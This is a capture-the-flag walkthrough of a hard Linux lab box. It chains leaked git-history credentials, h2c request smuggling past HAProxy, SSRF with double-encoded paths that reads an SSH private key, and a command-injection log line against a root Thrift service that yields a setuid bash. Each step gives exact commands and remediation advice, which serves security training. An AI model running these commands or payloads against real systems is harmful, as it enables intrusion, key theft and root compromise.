← all walkthroughs

Caption

Linux· Hard
owned
2026-10-13
time to own
36m30s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I found a Flask web portal behind a HAProxy to Varnish cache chain, with a GitBucket code server exposed on a second port. Commit history in the public GitBucket repository leaked the portal login for the user 'margo'.

HAProxy blocked sensitive paths such as /logs and /download on ordinary HTTP/1.1 requests, but Varnish accepted HTTP/2 cleartext (h2c) upgrades, so a smuggled h2c tunnel carrying margo's own session reached those paths past the proxy's path rules. The admin-only /download feature fetched my own URLs, which let me reach an internal-only copyparty file service on localhost and read margo's SSH private key.

Logging in over SSH gave a regular-user shell. A root-owned Thrift log service on localhost then passed log content into a shell command; a crafted log line created a root-owned copy of bash with the setuid bit set, giving full system compromise.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered, for margo>"
export SESSION="<a-value-you-captured-earlier>"

Attack path: how the box was taken

1EnumerationService enumeration; exposed internal code repository (T1213.003)
Mapped the three-layer web stack and found the public code repositories
A port scan showed SSH (22), a HAProxy-fronted web portal (80) and a Jetty-based GitBucket server (8080). Requests to the portal required the caption.htb virtual host, and response headers (x-varnish, age, cache-control) showed a Varnish cache sitting between HAProxy and the Flask/Werkzeug application. GitBucket on port 8080 was reachable without authentication and hosted the portal's source and the source of an internal logging service. The portal also reflected the X-Forwarded-Host header into a <script> tag, an observation worth noting even though it did not become part of the working route.
Open ports 22, 80 (HAProxy, Werkzeug app) and 8080 (Jetty); cache-control: public, max-age=120 with x-varnish/age headers on portal responses; my input reflected into a script-src utm_source attribute.
Exact commands 4
shell

Add the required vhost to local name resolution.

$ echo "$TARGET caption.htb" | sudo tee -a /etc/hosts
shell

Full TCP sweep to find the open ports.

$ nmap -p- --min-rate=1000 -T4 $TARGET
shell

Fingerprint the discovered services.

$ nmap -sV -sC -p 22,80,8080 $TARGET
shell

Inspect x-varnish / age / cache-control headers that reveal the cache layer.

$ curl -sI http://caption.htb/ --resolve caption.htb:80:$TARGET
FixDo not expose internal source repositories to unauthenticated usersHigh
WeaknessGitBucket on port 8080 was reachable without a login and published the portal's proxy configuration and the source of an internal root service, giving an unauthorised user a full map of the defences and the weak points.
FixRestrict GitBucket to the internal network or require authentication, make the repositories private, and keep operational configuration (HAProxy, Varnish, service units) out of any repository that is publicly readable.
2Credential AccessSecrets exposed in version-control history (T1552.001)
Recovered the portal login from the repository's commit history
The Caption-Portal repository contained a commit that accidentally included a user list with the account 'margo' and its password. Even though the current files were clean, the historical commit remained readable to anyone who could browse the repository. The credential was valid against the portal login and gave margo's session.
Credential for 'margo' recovered from the repository history; the portal issued a session JWT with payload username:margo.
Exact commands 3
shell

Clone the public repository (adjust the owner path if it differs).

$ git clone http://$TARGET:8080/git/root/Caption-Portal.git
shell

Search all history for the committed userlist block; read the margo password from the diff.

$ cd Caption-Portal && git log -p --all -S 'password' && grep -RniE 'margo|userlist|passwd|password' .git/logs config
shell

Log in and capture the session cookie into margo.cookies; export it as $SESSION for the next steps.

$ curl -sS -i -c margo.cookies --resolve caption.htb:80:$TARGET -X POST http://caption.htb/ --data-urlencode 'username=margo' --data-urlencode "password=$PASSWORD"
FixRemove committed credentials, rotate them and scan history for secretsHigh
WeaknessA user list containing the portal password for 'margo' had been committed to the repository. Deleting it later did not remove it from history, so anyone with read access could recover the password.
FixRotate the exposed password immediately. Purge it from history (git filter-repo or BFG) and add a pre-commit and CI secret scanner such as gitleaks. Store secrets in a vault or environment variables, never in repositories.
3Defense BypassHTTP/2 cleartext (h2c) request smuggling to bypass a reverse-proxy path ACL (CWE-444)
Tunnelled past HAProxy using HTTP/2 cleartext (h2c) smuggling
HAProxy denied /logs and /download using rules applied to ordinary HTTP/1.1 request lines; margo's session fetched those paths over HTTP/1.1 and HAProxy returned a block. Because Varnish was started with HTTP/2 enabled, an Upgrade: h2c request passed through HAProxy and became a raw HTTP/2 tunnel to the backend, so later requests in the tunnel were never checked against HAProxy's path rules. Carrying margo's own session cookie in the tunnel, the previously blocked /logs path returned content.
Nghttp -u with host caption.htb and margo's session cookie fetched /logs through the proxy, a path HAProxy blocks on plain HTTP/1.1.
Exact commands 2
shell

Upgrade to h2c and request the ACL-blocked /logs path through the tunnel with margo's session.

$ nghttp -u -v -t 12 -H 'host: caption.htb' -H ':authority: caption.htb' -H "cookie: session=$SESSION" http://$TARGET/ http://$TARGET/logs
shell

Equivalent with BishopFox's h2csmuggler tool.

$ python3 h2csmuggler.py -x http://caption.htb http://caption.htb/logs -H "Cookie: session=$SESSION"
FixDisable HTTP/2 cleartext (h2c) upgrades on the Varnish listenerHigh
WeaknessVarnish was started with HTTP/2 enabled on a plaintext listener, so an Upgrade: h2c request through HAProxy created a tunnel that skipped every HAProxy path rule, including the blocks on /logs and /download.
FixRemove HTTP/2 from the Varnish service unit, and have HAProxy drop requests carrying Upgrade or HTTP2-Settings headers. Enforce authorization in the application itself rather than relying only on edge path filters.
4Lateral MovementServer-side request forgery with path traversal (CWE-918 / CWE-22)
Used the download feature to read margo's SSH private key from an internal file service
Through the h2c tunnel, the admin-only /download?url= feature fetched any URL the server could reach. Pointed at the internal-only copyparty file service on 127.0.0.1:3923 with a double-encoded path, it returned files from margo's home directory, including her .ssh contents. The recovered key pair was checked with ssh-keygen to confirm it matched the account's public key.
The /download request to copyparty returned margo's ecdsa-sha2-nistp256 authorized_keys and her id_ecdsa private key; ssh-keygen -y on the recovered private key matched the public key.
Exact commands 3
shell

Confirm the SSRF reaches copyparty and lists margo's .ssh via the double-encoded path.

$ nghttp -u -t 12 -H 'host: caption.htb' -H ':authority: caption.htb' -H "cookie: session=$SESSION" http://$TARGET/ "http://$TARGET/download?url=http://127.0.0.1:3923/.cpr/%252Fhome%252Fmargo%252F.ssh%252Fauthorized_keys" | grep -Eo 'ecdsa-sha2-nistp256 [A-Za-z0-9+/=]+[^<\r\n]*'
shell

Fetch the private key itself and save it.

$ nghttp -u -t 12 -H 'host: caption.htb' -H ':authority: caption.htb' -H "cookie: session=$SESSION" http://$TARGET/ "http://$TARGET/download?url=http://127.0.0.1:3923/.cpr/%252Fhome%252Fmargo%252F.ssh%252Fid_ecdsa" | sed -n '/BEGIN.*PRIVATE KEY/,/END.*PRIVATE KEY/p' > id_ecdsa_margo
shell

Confirm the recovered private key matches the public key.

$ chmod 400 id_ecdsa_margo && ssh-keygen -y -f id_ecdsa_margo
FixValidate download URLs and keep SSH keys away from web-reachable servicesCritical
WeaknessThe /download feature fetched any URL, including loopback services, and an internal file service exposed margo's home directory, including the SSH private key, to that fetch.
FixAllow only a short list of approved external hosts, block loopback and private address ranges, and reject encoded path segments. Bind the internal file service to a restricted share rather than user home directories, protect keys with passphrases, and rotate margo's key pair.
5FootholdValid accounts: SSH key authentication (T1021.004)
Logged in over SSH as margo and read the user flag
With margo's private key, SSH accepted the login directly, giving an interactive shell as uid 1000 and access to the first flag.
Exact commands 2
shell

Prove access.

$ ssh -i id_ecdsa_margo margo@$TARGET id
uid=1000(margo) gid=1000(margo) groups=1000(margo)
shell

Read <user.txt>.

$ ssh -i id_ecdsa_margo margo@$TARGET cat /home/margo/user.txt
6Privilege EscalationCommand injection in a root-owned local RPC service (CWE-78 / T1548.001)
Injected a shell command through the root-owned Thrift log service
Local checks showed margo had no sudo rights, but a root-owned Thrift RPC service was listening on 127.0.0.1:9090, with its Go source public in GitBucket. Its ReadLogFile call parsed a caller-supplied log file and built a shell command from the user-agent field without sanitising it. A log line with a quote-breaking payload made the service run commands as root, copying bash to /tmp and setting its setuid bit. Running the copy with -p gave a root shell and the second flag.
/tmp/bash created owned by root with the setuid bit; /tmp/bash -p returned a root id and the root flag was accepted.
Exact commands 4
shell

Confirm no sudo and locate the local Thrift service on 9090.

$ id; sudo -l; ss -ltnp | grep -E '127\.0\.0\.1:(3923|6081|6082|8000|9090)'
shell

Craft the malicious log line that breaks out of the quoted user-agent field.

$ printf '%s\n' "127.0.0.1 \"user-agent\":\"test';cp /bin/bash /tmp/bash;chmod u+s /tmp/bash;'test\"" > /tmp/test.log
shell

Call ReadLogFile over raw Thrift to trigger the injection.

$ python3 -c "import socket,struct;p=b'/tmp/test.log';n=b'ReadLogFile';q=struct.pack('>I',0x80010001)+struct.pack('>I',len(n))+n+struct.pack('>i',0)+b'\x0b'+struct.pack('>h',1)+struct.pack('>I',len(p))+p+b'\x00';s=socket.create_connection(('127.0.0.1',9090),5);s.sendall(q);print(s.recv(4096))"
shell

Run the setuid copy as root and read <root.txt>.

$ ls -l /tmp/bash && /tmp/bash -p -c 'id; cat /root/root.txt'
FixRun the log service unprivileged and never build shell commands from log contentCritical
WeaknessA root-owned Thrift service on localhost passed the user-agent field of a user-supplied log file into a shell command, so any local user could run commands as root.
FixRun the service as a dedicated low-privilege account, replace shell calls with native parsing or an argument-list API, validate and escape all log fields, restrict the RPC socket to authorised users, and mount /tmp nosuid.

Attack patterns used

The transferable techniques behind this compromise.

SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004

What it is

Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.

Why it works

Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.

Read more

SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001

What it is

Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive, per GTFOBins, yields code execution as root.

Why it works

SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.

Read more

Exposed services

22/tcp
80/tcp
8080/tcp